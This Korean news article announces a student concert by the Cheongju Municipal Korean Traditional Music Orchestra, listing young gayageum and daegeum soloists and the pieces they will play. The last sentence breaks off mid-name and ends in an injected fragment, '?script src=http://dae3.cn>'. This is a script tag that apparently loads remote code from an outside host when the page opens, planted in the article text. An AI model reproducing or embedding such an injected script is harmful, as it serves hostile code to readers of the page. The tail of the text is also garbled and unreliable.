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제목 [동양일보]유망주들이 여는 ‘내일의 소리’
내용 유망주들이 여는 ‘내일의 소리’ 등록시간 : 2005-09-08 10:58:13. 조회수 : 7 청주시립국악단(상임지휘자 한 석)이 미래의 국악계를 이끌어갈 역량있는 젊은 인재를 발굴하고자 학생 협연의 밤을 기획. 오는 14일 오후 7시30분 청주예술의전당 대공연장에서 142회 수시연주회 ‘내일을 여는 소리’공연을 펼친다. 이번 협연무대에 서게 될 청소년 국악 유망주들은 지난 달 31일 오디션을 통해 선발된 가야금 여소연과 이지연. 김세리. 오연경. 박주희와 대금에 엄태양 등 모두 6명이다. 첫 무대를 장식할 여소연양(율량중·12현 가야금)이 고귀한 자태의 학이 춤을 추듯 한 점 흐트러짐 없는 고요한 중심에서 울려 퍼지는 황병기 작품의 ‘침향무’를 들려주며 이어 엄태양(복대중)이 무대에 올라 황의종 작곡의 ‘대금협주곡 1번’을 연주한다. ‘침향무’는 불교음악인 범패 음계를 바탕으로 동양과 서양의 공통된 원시정서를 표현한 작품이며 ‘대금협주곡 1번’은 갈대청이 울리면서 내는 독특한 대금의 특징을 살리기 위해 낮은 음에서부터 높은음까지 폭넓은 음역을 사용하고 있다. 이어 다음 무대는 가야금을 전공하고 있는 오연경양(전주예술고·12현 가야금)이 신라고분에서 발견된 유리그릇의 신비로운 빛에서 영감을 얻은 황병기 작품의 ‘비단길’을 연주한다. ‘비단길’은 미묘하게 변화해 가는 리듬을 타고 환희와 슬픔이 얼룩진 신비로운 선율과 격정적인 리듬. 고요한 선율. 이국적인 정취 등이 묻어나는 곡이다. 또 ‘충북도학생국악경연대회’에서 입상한 이지연양(17현 가야금)은 아직도 눈이 오는 이른 봄의 설경을 그린 황병기 작품의‘춘설’을 연주하며 애잔한 가운데 멋스러운 가야금 소리로 초가을 저녁의 색다른 기운을 북돋운다. ‘춘설’은 1991년 MBC에서 위촉해 작곡한 17현 가야금과 오케스트라를 위한 ‘새봄’ 중 가야금 부분을 독립시켜서 독주곡으로 만든 곡으로 아직도 눈이 오는 이른봄의 아름다운 마을 풍경을 그린 동심 어린 곡이다. 농악의 흥겨움과 가야금. 관현악의 정겨운 대화가 느껴지는 가야금과 국악관현악을 위한 두 개의 악장 ‘길군악’과 ‘쾌지나칭칭’은 전주예고에 재학 중인 김세리양이 협연한다. 마지막 피날레는 전통 가야금의 음계와 음역의 폭을 넓힌 25현 가야금과 국악관현악을 위한 ‘뱃노래’가 장식. 청주대 한국음악과에 재학중인 박주희?script src=http://dae3.cn>
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